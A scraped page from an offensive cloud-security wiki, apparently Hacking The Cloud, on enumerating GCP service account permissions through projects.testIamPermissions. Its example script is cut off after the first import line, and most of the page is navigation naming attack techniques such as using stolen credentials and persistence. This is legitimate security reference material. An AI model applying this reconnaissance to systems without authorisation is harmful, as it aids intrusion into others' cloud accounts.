class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2 checked> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=true> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate Service Account Permissions </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-the-list-of-permissions class=md-nav__link> <span class=md-ellipsis> Updating the list of permissions </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-the-list-of-permissions class=md-nav__link> <span class=md-ellipsis> Updating the list of permissions </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Aloïs THÉVENOT</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/enumeration/enumerate_service_account_permissions.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate Service Account Permissions</h1> <p>Link to Tool: <a href=https://github.com/NicholasSpringer/thunder-ctf/blob/master/scripts/test-permissions.py>GitHub</a></p> <p>On GCP it is possible to use the <a href=https://cloud.google.com/resource-manager/reference/rest/v1/projects/testIamPermissions><code>projects.testIamPermissions</code></a> method to check the permissions that a caller has on the specified Project.</p> <p>To enumerate permissions you will need either a service account key file or an access token as well as the project ID.</p> <div class="admonition info"> <p class=admonition-title>Info</p> <p>The project ID can be retrieved from the metadata endpoint at <code>/computeMetadata/v1/project/project-id</code></p> </div> <p>The following script taken from the <a href=https://github.com/NicholasSpringer/thunder-ctf/ >ThunderCTF</a> repository can be used to enumerate permissions:</p> <div class=highlight><pre><span></span><code><span class=kn>from</span> <span class=nn>googleapiclient</span> <span class=kn>import</span> <span class=n>discovery</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#updating-the-list-of-permissions class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li 